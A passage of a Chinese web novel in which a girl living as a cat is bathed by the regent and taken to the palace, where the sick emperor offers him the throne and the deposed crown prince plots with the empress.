崔兰亭身形一晃,连拱着的手都有些泛白,紧紧抿着嘴,不知该如何面对摄政王突如其来的发难。
谢珩玉哪管得别人的情绪,见面前人不知所措,他的手故意捞起怀中的小脑袋,让她好好看看她心上人的模样。
其实不用他动作,福宁也在看。
她圆圆的眼睛,一眨不眨地看着崔兰亭。
那天夜里,她没有听见他们的谈话,起初还以为崔家是来求情的,因此,她很感谢崔家。
只是后来崔家的态度,让她生了疑惑,有了怀疑。
如今有了谢珩玉的话,她还有什么不明白的。
心中猜想得到证实,她心中悲凉。
谢珩玉仿佛能感受到她的情绪,动作强硬地将她的脑袋转了回来,对着自己的怀里。
他看着崔兰亭,嘴里出来的话,还是一如既往的刻薄:
“那副大义灭亲的态度,本王一看就知道,崔世子会是国之栋梁。”
崔兰亭作为今科探花,哪里能听不出来摄政王的讽刺。
可他,又能有什么办法。
他从小就被严厉教导,要做一个合格的继承人,他倒是愿意与皎皎同甘共苦,可他不能让一个家族陪着冒险,该撇清干系的时候,就是该撇清的。
他知道这样对不起皎皎……但是,皎皎不会知道的。
谢珩玉低头,看见怀中的小东西眉目微垂,像是随时能哭出来的样子。
难道这报复很过分吗?
他皱了皱眉,突然觉得没甚么意思,打发道:“不早了,崔世子走吧。”
崔兰亭跟着管家离开的时候,面色还有些发白。
一旦被提醒了曾经做下的心虚的事,一时半会还真的走不出来。
白昼望着崔兰亭萧条的背影,也想起了那一夜,当时听闻长平侯父子登门,他还以为长平侯父子是来求情的。
当时,王爷却不这么认为。
最后,事实证明了,王爷算对了崔家人的凉薄,又或者说,算对了人性的凉薄。
他感慨地摇头,“属下觉着,赵小姐虽然人不太好,但是看人的眼光,也没好到哪里去。”
第62章 她尿床了?
这是骂她呢。
福宁觉得白昼说得没错。
她耷拉着脑袋,随谢珩玉抱着,连逃跑的力气都没了。
白昼还在说话,“要是赵小姐知道崔世子的行为,不知道崔世子会不会后悔。”
已经知道了。
谢珩玉摸摸怀中垂着的脑袋,“他不会后悔。”
他沉着声,既鄙夷不屑,却又觉得理所当然,“人心本就如此,大难临头各自飞。”
白昼点头,心里叹息,又让王爷对人性更失望了些,崔家真是该死!
遂,试图转移话题,“王爷,您怎么抱上小福了,她体内的邪祟已经被大猫除掉了吗?”
大猫,好一个大猫!
光这句话,就能让福宁从悲伤情绪中缓解,又有了逃跑的念头。
谁家管老虎叫大猫呀!
“先不必了,今夜,本王亲自看着她。”
语毕,谢珩玉带着她回燕景园的卧房,动作粗暴地将她扔到床榻上。
再用被褥一裹,把她丢到床尾。
下人重新拿了新的被褥进来铺好。
福宁全身****,本来就怕热,从被褥裹成的粽子里钻出头,猝不及防地看见谢珩玉解开腰带、脱掉外衣。
再然后是里衣。
他的手握着衣襟,察觉到什么,忽然偏头,对上“粽子”里那双像汤圆般圆乎的眼睛,他一愣,紧接着就见她刻意地紧闭上眼睛。
跟原地睡着似的,一动不动。
谢珩玉觉得好笑,脱衣裳的手僵持住,不自然地轻咳一声,转身去了屏风后。
换衣时,他面色绷紧,迅速回忆着这些天有无在她面前换过衣裳……
殊不知,隔着屏风,若隐若现的身躯与换衣的动作,更容易让人浮想联翩。
明明被被褥裹着很热,福宁却还是悄悄将头缩了进去,喘不过气也不出来。
直到房内熄了灯。
身下的床榻动了动,是他躺上来了,他应该要睡觉了。
房中唯有冰风扇发出的一点声响,再无其他,福宁热得不行了,才再次钻出来吹风。
黄金能带走,不知道冰块能不能带走。
她现在太需要冰块了。
黑暗中,福宁悄悄溜到冰风扇边上,伸出邪恶的魔爪。
掏出几块冰,被她一趟趟运送到床榻的一角。
随后她躺下,爪爪碰到冰块的边边,准备入睡。
亥时……
子时……
睡不着。
冰块已经化了,淌出的水弄湿了被褥。
福宁爬起身,摸摸湿了的被褥,打算重新取冰块、再换个角落睡。
刚要
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迈腿,忽然,屁股上被踹了一脚。
她身形一晃,被踹到墙边,靠着墙,看向……
!!!
谢珩玉醒了。
不知何时,他坐在榻上,在没点灯的房中,也能看清人影轮廓。
空气凝固,有些恐怖。
福宁下意识往后缩了缩。
然后听见谢珩玉冰冷的声音,他似已经克制了怒火,听起来还有几分咬牙切齿的味道——
“你尿床了。”
……
什么尿床,福宁呆了。
冰块融化后淌开的水,看来已经波及到了他,让他误会了。
谢珩玉一时没有下床,腿下湿湿的触感,叫他难以置信。
他不信赵福宁这个年纪还控制不住尿,一定是故意的!
就像上次尿他手上一样。
天知道他是有多忍耐,才没在此刻喊她的名字、掐住她的脖子。
“来人!”
他一喊,在外守夜的侍卫就进卧房、掌灯。
房中亮了起来,侍卫便看见王爷黑着的脸,福宁也看见了。
她看着他虎视眈眈地盯着自己,像是要吃了自己,她真的好想说人话解释一下,真的没尿床。
不信闻一下呢。
这冰块很干净的。
谢珩玉:“备热水,本王要沐浴。”
第63章 王爷伺候她洗澡
他起身,嫌弃地在捏住她薄薄的耳朵,拧一拧。
猫猫的耳朵敏感得很,福宁忍不住喵一声。
她低头,用爪子拍一拍身下湿哒哒的被单,然后往前一跳,跳在谢珩玉的身上,她再将爪子举到他面前。
闻。
真的没有味道!
她眼眸坚定。
却硬生生让谢珩玉看出挑衅,他屏住呼吸,一把拍开她的爪子,粗鲁地将她的后颈提起。
“让人把床单换了。”
他吩咐完,不管她四肢挣扎,拎着她去浴房。
侍女相视一眼,暗道王爷近来换床单的次数,有点多。
当然她们不敢说出来,规矩地进屋换被褥床单。
那厢。
浴房。
摄政王的浴房很大,福宁看了眼,不知道浴池有多深,只是那长度的宽度,相当于十个浴桶那么大。
大到,让十几个人同时在里面洗澡都不成问题。
如果是热水,房内一定会比外面还热,但并没有。
倒热水的侍女只倒了一桶热水,试了水温后道:“王爷,水已调好。”
谢珩玉:“下去吧。”说着,右手晃了下,想将提着的“肮脏”的小东西直接丢下去。
福宁吓了一跳。
好在他只是虚晃一招。
谢珩玉想了想,还是怕小福淹死,赵福宁再可恶,他也不能牵连小福。
遂,走进浴池。
他衣裳也未脱,他靠着池壁坐下后,还能露出肩膀。
福宁也被他放在水里。
起初碰到水,还没有明显的凉意,直到身子彻底浸水,毛发都被浸湿,她冷得直哆嗦,在水里狂挣扎。
她被他提着脖子,四爪疯狂地拍打出水花,溅了谢珩玉一脸,他的头顶也湿了。
手腕处不禁传来抓挠的疼痛,他眉头一皱,眼中进了水,不自觉地闭眼、松开了手。
后颈的手没了,福宁的后肢往下,根本够不着池底。
池水深不可测。
强烈的不安,绝望叫她下沉,四爪仍在挣扎想浮出水面。
**月娇踹下湖泊的记忆和恐惧再次袭来。
她缓缓沉了下去。
咕噜咕噜……
下一瞬,身体被人兜住,“哗”地一下,她破出水面。
感觉脑袋里都进水了,福宁狂甩头,等甩干些才睁开眼,看着面前被溅了一脸水、黑着脸的男人。
谢珩玉心中烦躁,就不该带她一起洗,分开洗还省事些。
他压着不满,看着她,那毛茸茸的脑袋上,每一根湿了的毛发耷拉着都仿佛写着“可怜”两字,那双眼睛湿漉漉地望着他,他沉声训斥,“你若不乱尿、不挣扎,能喝洗澡水吗?”
福宁幽怨地对上他,明明自己说了没有乱尿,他自己搞错了,还怪她。
心里气得不行,但感受到他还要将自己放进水里洗,吓得她迅速往前扑腾。
当抓到他的衣领,福宁沿着往上,从他的胸前爬到他的脖颈处,伸出两只湿透的前肢抱住他的脖子,脑袋抵在他的耳下,死死不松手。
她不要下水,又冷又不安全。
这种被她当做救命稻草的感觉,令谢珩玉一怔,她那么害怕水吗?
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>疑惑还没得到证实,就感受到了她的颤抖,抖得很厉害。
难道是怕冷?
谢珩玉此时才反应过来,他夏日习惯洗偏凉的水,侍女只加了一桶热水。
姑娘家应该不能洗这么凉的水。
不止是她,其实小福也不该洗凉水,是他忘了,毕竟从前也没亲自给小福洗澡。
谢珩玉蹙着的眉久久未松,眉心染上懊恼之色,抬手将池边的干毛巾盖在她的身上,仍由她抱着自己的脖子。
当毛巾盖住身体,福宁就觉得暖和些了。
她的肚子抵着他的喉结,他的喉结一动,她的肚子就痒痒的,听见他吩咐外面——
“加热水。”
外面候着的小厮和侍女,很快就进来加水了。
谢珩玉:“多加些。”
他突然看向倒水的侍女,语气生硬,“你平时用多热的水,就给本王用多热的水。”
侍女掩着诧异,不过在看到王爷脖子上的小福时,心中有了答案。
是小福怕凉,王爷也就只对小福这么好,会迁就小福。
没多看两眼,就听王爷不悦道:“看什么?”
侍女立马低头,再不敢抬,“王爷恕罪,奴婢不敢了。”
当屋内被热气缭绕,谢珩玉的耳朵都被****蹭得泛了红。
他想将托着她放水里洗澡,却还是能感受她的抗拒。
等侍女小厮退下,浴房的门阖上了,他低叹一声,带着几分连自己都没察觉到的诱哄,商量道——
“水是温的,我不会松手。”
“洗干净才能睡,好吗?”
第64章 皇帝醒了?
也是好笑,他还跟小猫说话。
小猫能听懂人话吗?
福宁觉得他是病急乱投医了。
哎好吧好吧,虽然她确实没有乱尿,但身上都已经弄湿了,就替小福受一下洗澡的苦吧。
“喵嗯。”福宁趴在他的肩膀上,点点头。
搂着他脖颈的爪爪也松了松。
得到她的首肯,谢珩玉托着她的肚子,将她放在水面,用温水为她上下清洗。
他的手掌一下一下抓挠着她的背部和肚子,好舒服好舒服。
直到,他的手伸向毛茸茸的前胸,经过藏在毛发下的小点点,福宁一个激灵,“喵~”表示**。
谢珩玉似听懂她在抵抗什么,不顾她的意愿,非要将她洗干净。
出浴房的时候,福宁精疲力竭地倒在他的怀里。
洗完澡就像经历了一场大战,四肢都很疲惫。
她**毛巾裹着,闭上眼睛准备睡觉,此时,院外响起几道急匆匆的脚步声。
管家带着穿着三品宦官服制的掌印太监快步入内,“王爷,李大监来了。”
谢珩玉与福宁齐齐扭头看去。
李大监手上的拂尘在空中飘荡,尖着嗓子急切道:“王爷!陛下醒了,急着要见您,请快快与老奴入宫吧!”
齐武帝醒了。
坐在谢珩玉怀里的福宁感受到他瞬间的僵硬,她仰头,看向他的下巴。
能感受到他的惊喜。
他深邃的眼中有了光芒,“本王穿件衣裳。”
一边说,他一边疾步进屋,将湿着毛发的福宁放在床榻上,也不避她,直接换了衣裳。
福宁立马背过身去。
谢珩玉换了身常服就要走,又想到什么,转身欲将福宁一并带进宫。
**赵福宁出现在小福身上的契机,留她这个意外到现在,也是有丝侥幸的希望,说不准,她有能力改变皇兄的病情呢?
转过身时,发现她已经很不自觉地瘫倒在被褥上,闭着眼睛准备睡觉了,还发出呼噜声。
福宁是真的困了。
三个瞬息间必睡着。
闭上眼,还没数到三,重且急的脚步声渐近,隔着眼皮的光亮被人影挡住。
随后,有个手掌重重地在她侧脸上拍了拍。
属于谢珩玉的霸道、理直气壮的命令传来,“不许睡。”
她闭着眼,像听不见。
再然后,福宁便凌空被抱起,“喵~”
他用一件披风裹住她的身体,不由分说地抱她出去。
李大监疑惑:“王爷要带着小福一起进宫?”
谢珩玉“嗯”了一声,没解释。
李大监没多说,一行人匆匆穿过王府、骑马过北街。
福宁的困意被颠没了,她在披风里露出一双眼,看着天。
这会儿大概是丑时末,月亮还高悬,估摸离早朝还有一个多时辰。
下了钥的宫门被肃穆地开启,两侧
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守着宫门的侍卫也知事态紧急,后退让开道,好让摄政王一行顺利进宫。
福宁低头,看着两边侍卫也低着头。
她还没有这个视角进宫过。
以前,爹爹是户部侍郎,得上峰与陛下器重,哥哥是二皇子伴读,宫中举办款待官宦及家眷的年宴,赵家都一定会在受邀之列。
每每入宫参宴,到了宫门口,后头的路都得靠脚走。
福宁其实一点都不喜欢参加宫宴,因为光是从宫门处走到举办年宴的宫殿,都需要大半个时辰。
路上还不能交头接耳,她就跟在娘亲和哥哥的身后,不敢乱说话,也不敢抬头乱看的。
今夜,她第一次感受到摄政王的视角,是如此不同。
不过,在变成猫之前,她从未见过谢珩玉。
她听说过,往前几年,摄政王主动去了军中历练,很长一段时间都在边境,直至行弱冠礼前才归来。
福宁没见过他,她也不清楚是因为以前不敢抬头乱瞟,还是他根本就不出现在宫宴上。
阵阵马蹄在宫道上回响,谢珩玉没低头,也能感受到怀里的小东西按捺不住、东张西望,头越来越往外钻。
直到停下马,他一把将她塞进衣襟内夹层,只有个小脑袋露出来。
养心殿内点满了烛光,殿外还没有皇后的侍女。
李大监在一旁低声道:“王爷,陛下醒了的事,还未告知皇后娘娘。”
第65章 传位摄政王,摄政王拒绝
谢珩玉的脚步很稳,但福宁的脑袋还是随着他的步伐,一晃一晃的。
这是她第一次进入养心殿,又是借着小福的身体,一点都不守规矩地东张西望,什么都好奇。
立柱上雕刻的金龙栩栩如生,外间的香炉升起缕缕轻烟,整个殿中都充斥着龙涎香的气味。
这象征着权利的陈设与味道,哦……福宁深嗅了两下。
呃。
在这般肃穆的场景中,谢珩玉感觉身前的脑袋抽了两下,他心中无语,抬手见她的脸捂住。
福宁刚好也不想闻这个味道了,随着谢珩玉的步子迈进养心殿里间,她越发觉得这味道古怪。
龙涎香混合着苦涩的药材味。
香不香,臭不臭,还没外面清新的空气好闻。
再走近,福宁从谢珩玉的指缝中,看见了只隔着半丈距离的龙榻。
龙榻两侧,站着两名内侍和两名御前宫女,各自低着头,在谢珩玉靠近时,他们的头更低了。
隔着一层薄纱,依稀可见龙榻上躺着的齐武帝。
李大监走至一旁,轻轻唤道:“陛下,王爷来了。”
语落,盖在福宁面前的手轻颤了颤,她能感受到谢珩玉的情绪,看来,传言齐武帝对他真的很重要。
他们之间,并非只是装模作样的皇家兄弟。
“皇兄。”谢珩玉出声,没再捂着怀中的脑袋,伸手将薄纱掀开。
福宁彻底看清了齐武帝的脸。
以前在宫宴时,她坐在台下后排官宦女眷的位子,也曾好奇皇帝样貌,在众人都抬头的时候,她使劲地想看清楚隔着数十丈距离的皇帝的脸。
隔得太远,她要眯着眼才能稍微看清些。
但只看几眼根本记不住,比起皇帝的容貌,皇帝的威严与气势更让人记忆深刻。
此时的齐武帝与她印象里的很不一样,卸掉了帝王冠冕,金龙黄袍,他闭着眼,面容虚弱,看不出帝王的威严,仿佛只是一个普通的病人。
谢珩玉坐下到塌边,他的声音中存着希冀,“皇兄。”
随着他的呼喊,齐武帝缓缓睁开了眼,好似专等他来,“来了。”
看见齐武帝真的醒了,谢珩玉连日存于心中的巨石终于放下,“皇兄可算是醒了,怎么不召御医来看看?”
齐武帝的面上没有帝王厉色,看向亲弟弟的眼神透着欣慰与温柔,“朕的身体,朕心中有数,吃再多的药,也就这样了。”
谢珩玉心中一窒,“皇兄不要说这种话。”
谢珩玉看着他,福宁也看着他。
上下两颗脑袋很一致。
齐武帝虚弱地笑了笑,刚才一直忽略谢珩玉怀中的小猫,这会儿道:“怎么还带了个……”
谢珩玉记起福宁的存在,抬手将她从怀里提溜出来,“皇兄有所不知,她或许有神通。”
神通?
福宁抬头,她有什么神通?
她只会偷黄金啊!
谢珩玉忽视她不解的神色,将她放在龙榻上,解释给齐武帝听,“说不准,能对治疗皇兄的病情有帮助。”
福宁不动了。
她能对皇帝的病有什么帮助?病急也不能乱投医啊。
这厮不会要害她性命吧?
齐武帝又笑了,无奈道:“无稽之谈,你何时开始信这些了。”显然是不相信的。
福宁点点头,顾自跑到龙榻另一头,离思想危险的谢珩玉远一些。
谢珩玉:“臣弟一定能找到其中关窍。”
“阿玉,”齐武帝打断,“今日唤你来,是有要事交代你。”
谢珩玉转头,李大监意会,屏退左右。
只剩两人一猫还在其中。
原来摄政王的小名叫阿玉啊,听起来怪秀气的呢,一点都不匹配他那张脸和不好惹的脾气。
福宁腹诽着,感觉当下气氛不对,应是要交代什么大事了,又不免感慨,有生之年,她竟然能听机密。
奈何谢珩玉没忘记她的存在,“李大监,将她抱出去。”
福宁仰头对上他的眼。
古怪了,真是古怪了,在谢珩玉眼中,她到底是猫还是邪祟?刚才洗澡的时候那么亲昵,这会儿知道要防着她了。
李太监调转步子,准备回来抱猫,却被齐武帝制止,“出去。”
“一只猫有什么,”齐武帝欲坐起身,谢珩玉连忙去扶,等坐稳后继续道,“有些事,朕必须早作打算,万一哪一天……大齐才不至于乱了。”
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谢珩玉的注意力被转移,“皇兄——”
齐武帝抬手握住弟弟的手,“阿玉,朕听过外面的传言,也知你心向朕,从未有过**之心,但……朕却是有意传位于你。”
!!!
真是天大的事,福宁瞪大眼睛,身体弓起悄悄退到床尾。
听都听见了……应该没事的吧。
反正也没人知道她是赵福宁,听就听了吧。
不过,真让摄政王继承皇位的话,她赵家还有转机和活路吗?
谢珩玉并未如她认为的那样应下,反而站起身,跪在龙榻前,“皇兄,臣弟从未想过这些,臣弟只想皇兄长命百岁。”
齐武帝看着弟弟认真的脸,欲言又止地叹息,沉默半晌后道:“倘若烛儿能如你这般想,就好了。”
烛儿,就是废太子,在皇子中排行最长的大皇子谢烛。
闻言,谢珩玉也沉默了。
“阿玉,朕若不交给你,还能交给谁呢?”齐武帝闭了闭眼,忽然咳嗽起来。
谢珩玉赶忙起身为他抚背,“皇兄正值壮年,膝下也不止谢烛一子,臣弟会替皇兄守好朝廷,不令宵小奸贼有可乘之机,皇兄会痊愈的,莫要说这些丧气话。”
床尾的福宁一眨不眨地看着谢珩玉,心里想着,他真的不动心吗?
那可是江山哎!
看来,这对天底下最有权势的皇家兄弟俩之间的情谊,就和她和哥哥一样好。
不知不觉中,福宁心中对谢珩玉的定义,稍微改了改,至少没了“专欲擅权”这个偏见。
齐武帝心中动容,看着比自己小二十岁的弟弟,年轻的面容,忽地开始怀念起从前,“朕这毛病,也并非完全是被烛儿气的,早些年在战场上落下不少病根,那时候拼命,现在却连刀枪都提不动了。”
提及往事,谢珩玉长长的睫毛在颤动,嗓音也哑了几分,“都是因为我,皇兄才会如此。”
齐武帝看向他,脸上没有责怪,只有慈爱,那般的慈爱之色,与其说是兄长看弟弟,不如说是父亲看儿子,至少落在福宁眼里是这样。
齐武帝抬手,粗粝的大掌轻轻拍拍谢珩玉的肩膀,“最不该自责的,是你。”
第66章 她是爬过龙榻的女人了
“若非先帝忌惮朕于军中立功,他怎会为了撒气任你在冷宫被人欺凌,当年你还年幼,他不惜用你为质要挟于朕,是朕这个做兄长的没能保护好你,差点让母妃死不瞑目。”
说起往事,齐武帝都想将先帝的陵墓给炸掉。
谢珩玉想起痛苦的幼年记忆,握住兄长的手,说出大逆不道的话,“所以我从未视他为父,自从母妃离世后,皇兄便是我唯一的亲人了,皇兄要保重自身。”
齐武帝知道弟弟对自己的依赖,不免担忧,“听小李说,皇后为你择了一门亲事,你若不喜,就不必应,但朕希望你早日成家,你若有心仪的女子,不妨告诉朕,衬着朕还在……咳咳咳。”
福宁也避免不了被这兄弟情所感动,原先她也听父亲说过摄政王的过往,今夜又多知道了些。
连他的亲生父皇都对他不好,也难怪会养成多疑、狠戾的性子。
许是她炽热的目光过于明目张胆了。
谢珩玉突然转头,她唰地低下头,表演了一个五体投榻。
……
谢珩玉皱了皱眉,刚才,好像从她眼里看到了同情。
可笑。
她不如同情她自己吧。
齐武帝发现弟弟的目光落在可爱的小猫身上,心想他还是年轻,拥有一颗赤子之心,不对江山感兴趣,不对女人感兴趣,却对一只猫越来越上心。
想着,齐武帝带上说教口吻,“你该收收心了,朕驾崩前,你能不能成婚。”
“皇兄!”谢珩玉很不喜欢这两个字,“慎言!”
齐武帝心无奈,想说教他,反而被他说教,“你真是……”话未半,谢珩玉已经起身朝殿外走去。
听见脚步声,福宁在被褥上做贼似的抬起脑袋,看着谢珩玉的背影,她满脑子都是疑问。
哪有皇帝话没讲完,当王爷的就离开的?
这么意气用事啊?
而且……
!!!他走,为什么不把她一起带走啊!
反应过来的赵福宁一惊,转头,对上齐武帝温和的脸。
齐武帝倒是不生气,轻咳一声,然后对她招招手,“过来。”
福宁:……
本来想追谢珩玉而去的她,犯起了难,要不要去齐武帝身边呢?还是假装听不懂?
算了,还是不要惹皇帝不高兴吧。
她吭哧吭哧地朝被褥上跳,也不往龙榻的边缘走,两下就跳到了齐武帝的手边。
哈,看着脚下的一片黄,福宁心底还有点小骄傲。
说起去别人肯定都不会信,她也算是爬过龙榻的女人了。
诶,这话听起来怪怪的,还是不要这么说了。
反正就是她想表达的那个意思嘛。
“这猫倒是养得精细,”齐武帝闻到了香气,“还洗了澡的。”
福宁仰头,左侧嘴角向上一勾,左脸颊的皮肉薄薄地堆积。
她想说,其实算不得多精细,难得洗一次澡,让齐武帝碰见而已。
此刻,她每根毛发都飘着香气,小表情在齐武帝看来可爱极了。
他嘀咕,“怪不得喜欢。”说着,抬起手掌摸摸她的脑袋。
谢珩玉再次进入里间时,就看见这亲昵的一幕,脚步下意识地加快了,“皇兄。”
齐武帝听出他语气不对,转头看去,“朕还不能摸了?”
谢珩玉捧着药碗,放在龙榻边,先弯腰将那只猫挪到一边,“臣弟是怕她伤害到皇兄。”
齐武帝轻嗤,不经意地抬起自己的臂膀,虽被绣着龙纹的寝衣挡住,但也能看出衣下的肌肉轮廓。
谢珩玉仿佛没看见,重新捧起药碗,“皇兄,该喝药了。”
齐武帝闻着药的臭味,皱了皱眉,“朕自己来。”
离得最远的福宁也闻着药臭臭的气味,嫌弃地往后退了好几步,又到了床角。
齐武帝很爽快,一口气将药倒进嘴里,温和的脸变黑了许多,“阿玉,你就算再不想听,也得听朕说完。”
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“烛儿逼宫以后,朕就拟好了遗诏,放在小李那儿,他是可信任的,朕若有不测,他能为你证明,朕也相信未来你会成为明君,只有一事,朕要拜托你——”
谢珩玉多次想开口,都被齐武帝制止,齐武帝握紧他的手腕,继续说下去,“烛儿是朕的长子,若非受奸人挑拨,他不至于到这一步,也是朕对他疏于管教,皇后与朕结发二十多年的情分,纵有私心也是人之常情,你继位后,不要伤他母子性命,你要答应朕。”
谢珩玉面色沉重,想到皇后母子的行为,“皇兄,若他们安分守己,你哪会被气成这样?”
“你就说,答应否。”
“……”
“如此,朕死也瞑目不了了。”
“皇兄你……”
齐武帝执着:“你再说,答应否。”
谢珩玉看着自己视为父兄的人,哪怕交代遗言都放不下那对母子,心中有气,更不能妥协,“臣弟不要江山,皇兄还是多活些时日,重新培养个储君吧!”
“你!”齐武帝差点又气厥过去。
看得福宁小心肝一颤一颤的。
终还是谢珩玉妥协,他扶住齐武帝,闷声道:“知道了。”
*
与此同时,皇宫北面。
宗监室内阴森昏暗,但并不简陋。
一女子身披黑袍,趁着夜色,前来探望,看守恭恭敬敬地行礼、领人进去,留女官在外等候。
这是囚禁犯了错的皇室宗亲的地方,每一间房被铁条与木头隔开,虽然没有隐私可言,四面都能看见人,但每间房都很宽敞。
该有的都有,床榻虽比不上东宫的奢华,象征不了身份,但也比普通人家的床精致许多。
至于桌案、笔墨纸砚、书架、藏书……只要不是玩物,是能激发人向上的东西,都可以有。
废太子谢烛正挑灯夜读,昏暗的光照亮书籍上的字。
“殿下,皇后娘娘来了。”看守小声说。
第67章 连夜写**的太子
谢烛抬头,披散着的青丝下,露出一张白皙到显得阴柔的脸,曾经的风流不羁不见分毫。
在这暗无天日的地方,呆了这么久,太阳和月光都照不进来,哪怕吃得再好,也能逼疯人。
除了避暑纳凉,其他的都是弊处。
王皇后看着儿子消瘦了的面容、眼下的青黑,心疼地落下两行清泪,她极快地擦掉脸上泪痕,给看守递了个眼色。
看守立刻挥手撤退其他同伴。
待此间只剩母子二人,王皇后才摘下盖住头的黑袍,往前靠近,直到被铁条阻隔不能再前进。
谢烛放下手中书籍,“母后来此,若被皇叔知道……”
“已打点过,他不会知道,”王皇后颤声开口,“烛儿,你在里头可还安好?若有什么需要的,尽可交代宫人,母后一定会救你出去的。”
谢烛抬眸,冷静的眸光下,是早已被黑暗淹没的疯狂,“好在母妃着人送来不少书,让儿臣打发时间,倒也不算无趣。”
声音听着没什么波澜,偶尔语调又诡异地上扬,
“书?什么书?”王皇后一无所知。
谢烛蹙了蹙眉,回头看一眼书架上一百多本书,其中有几本,是以历代传奇人物为原型的话本。
内容可以概括为卧薪尝胆、东山再起、谋权篡位、最终为王。
“不是母后送来的……”那会是谁?谢烛一时想不到。
但宗监室的书籍,每月都会新添,即便不是皇后特意送来的,也说得过去。
王皇后又提及近日外面发生的事,比如为摄政王与**长女赐了婚,长平侯世子要求娶**次女,摄政王将赵侍郎革职……
谢烛的一双狐狸眼微眯,色浅的薄唇微启,“姓崔的倒是左右逢源,本宫才被废多久,他们就急不可耐地要寻皇叔的庇佑了。”
时日短到谢烛的自称都没改,做太子多年,早已习惯自称本宫。
王皇后:“长平侯那只老狐狸,明哲保身,相比于他,赵应一家显然对你忠诚许多,至少银钱是真的送进了你的口袋,如今他一家落魄,都到了靠女儿卖首饰维持生计的地步。”
谢烛忽然诡异地笑了一声,“崔兰亭为了巴上皇叔艘贼船,竟连青梅竹马的未婚妻都能放弃,待来日本宫东山再起,且看崔家又是何嘴脸。”
想想,都很期待。
王皇后思忖道:“真到那一天,崔家也不堪重用了,倒不如赵应,此人虽不精明,好在纯良,至少不会是随时倒戈的墙头草,其子赵凫泽还在邕州书院读书,将来加以引导,也能成为你的左膀右臂,倘若那时赵家千金还未婚嫁,倒也可以念在其父的份上,收入东宫。”
赵应的女儿,谢烛有些印象,看起来就是个没心眼的姑娘。
不像她的哥哥心眼多。
说来,谢烛与赵凫泽还有些渊源,当初选伴读,齐武帝有意让赵凫泽给他做伴读,但当时,谢烛认为赵家没有底蕴,族中只有赵应一人做官,当时还只是个从四品的官。
皇家选伴读,就是选未来的左右手,自然要选有助力的家族,赵家还是过于单薄,单薄到根本不该出现在伴读名单上。
谢烛没有选他,谢燎选了他。
谢烛走到王皇后面前,隔着铁条,“母后,眼下当务之急,还是该早些出去,您要多多陪伴父皇身侧,切莫让皇叔钻了空子,待父皇醒来,再——”
“皇后娘娘,太子殿下,”外面守着的女官得了消息,匆匆步入宗监室,“陛下醒了!”
王皇后惊讶,“什么,现在?”
收了好处的看守也跟进来,急忙道:“娘娘,摄政王吩咐过不能探视的,您还是快些离去吧。”
“本宫还怕他不成!”王皇后嘴硬道,而后安静下来,看向谢烛,“你父皇醒了,谢珩玉定也得到了消息,我要赶在他之前,去见你父皇。”
语毕,重新披起黑袍,带着宫人快步离开宗监室。
女官手中的灯笼很亮,谢烛看着那光亮离自己越来越远。
他知道,母后一人是斗不过皇叔的。
想要从这里出去,他还是得靠自己才行。
谢烛靠在椅背上坐下,他抬手三次,想咬手,都因下不去口而放下。
第四次抬起,他闭了闭眼,待在宗监室无能为力、不见天日的日子,令他厌烦,他一定要离开这里。
遂咬破手指,在烛光前,写起**来。
*
王皇后在路上让宫人将黑袍处理了,赶到养心殿的
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时候,看见那十几匹不该出现的马。
谁能在宫中骑马,骑到养心殿外。
用脚趾也能想出来,谢珩玉先到了。
看着跟着谢珩玉来的亲卫和李大监站在一块,侯在外头,王皇后想明白了关窍,自嘲一笑。
谢珩玉就算来得再快,也到底住在宫外,怎么可能比她还快?
根本就是她的好丈夫,醒了之后,瞒着她,先传了谢珩玉来见。
呵。
她这个皇后做的,形同虚设。
王皇后讽刺地想着,却没有影响她的行动,收起不悦之色,露出惊喜与担忧,“听闻陛下醒了?可传了太医没有?现在如何?”
李大监将拂尘撇到一边,弯腰低头,“皇后娘娘,陛下虽醒,但还需静养,奴才先为您通报一二。”
随后不顾王皇后轻轻抽搐的嘴角,李大监进殿请示,不一会又出来了,“娘娘,陛下请您一人进去。”
王皇后踏步入内,本是有意想听一听里面在讲些什么,所以走得极慢。
却没听见什么重要对话,只听得没营养的兄弟情深的戏码:
齐武帝说:“待会,咳咳,吃碗元宵再走。”
谢珩玉听着兴致不高,像是生闷气,“嗯。”
齐武帝声音虚弱,一边咳一边说,“你,若不喜欢**,朕就——”
王皇后以为皇帝是要做主,取消这门赐婚,立即加快脚步走进去打断,“陛下!您可算是醒了!”
越是靠近,扑鼻而来的苦涩之味越明显。
“皇嫂。”谢珩玉扭头,面无表情地唤一声。
王皇后点着头,不动声色地走到谢珩玉的位置,硬生生将他“挤”开。
其实算不得挤,是王皇后想离皇帝近一些,谢珩玉再不喜皇后,也得看在齐武帝的面子上敬她一分,为了避免叔嫂间有肢体接触,他自然而然地起身退开。
王皇后则坐到了原本谢珩玉坐的位置上,关切道:“陛下可感觉哪里不舒服,药喝了吗?”
“喝了。”齐武帝回答。
王皇后:“臣妾听到陛下在与皇弟商量婚事,皇弟的婚事是臣妾决定的,想着皇弟年纪不小,陛下一定是放心不下他的,这才自作主张,还请陛下不要怪罪臣妾。”
第68章 三个人的感情总是拥挤
齐武帝明知皇后何意,说话还是留有余地,“他性子孤僻,乱点鸳鸯谱只会让姑娘家吃亏,还是让他自己选择心仪之人吧。”
王皇后脸上仍然笑着,“陛下说的对,不过那**女有美貌有才情,不如让他们先磨合磨合,倘若皇弟实在不喜,再退婚也来得及,陛下说呢?”
齐武帝看了眼谢珩玉,见他阴沉着脸,跟谁欠了他一座城池似的。
心中暗叹他管不住情绪,最后只道:“再议吧。”
然后,谢珩玉的脸,肉眼可见地更黑了,却没说话。
王皇后松了一口气,到底还是给江雪娥争取了一点时间的,能不能把握住,就看江家的了。
紧接着,又关心起齐武帝的身体来。
退到床尾的谢珩玉,没再往前。
他看着齐武帝与王皇后互相关心,仿佛没有太子谋反这一件事一般,心中不愉,脸色难看。
想不通,谋反是什么能原谅的事吗?
同样在床尾的福宁仰头看看他,以为他是因为被忽略了而难过。
虚弱的皇帝,关切的皇后。
这对携手几十载的夫妻,看起来感情很不错。
倒显得站在后面干看着的谢珩玉有点多余。
福宁忽然有点理解他的难过了。
他将齐武帝视为唯一的亲人,但,齐武帝的亲人有很多。
可明明,谢珩玉也可以成婚生子,哪怕不成婚,也能去孤儿堂领十七八个孤儿当亲儿子养呢。
人,总得有感情嘛。
就像她,虽然失去了“好友”和“未婚夫”,但她一想到自己还有爹爹,还有娘亲,还有远在异乡却仍挂念着她的哥哥,她就还是觉得幸福,还是有活下去的希望。
但是谢珩玉呢?
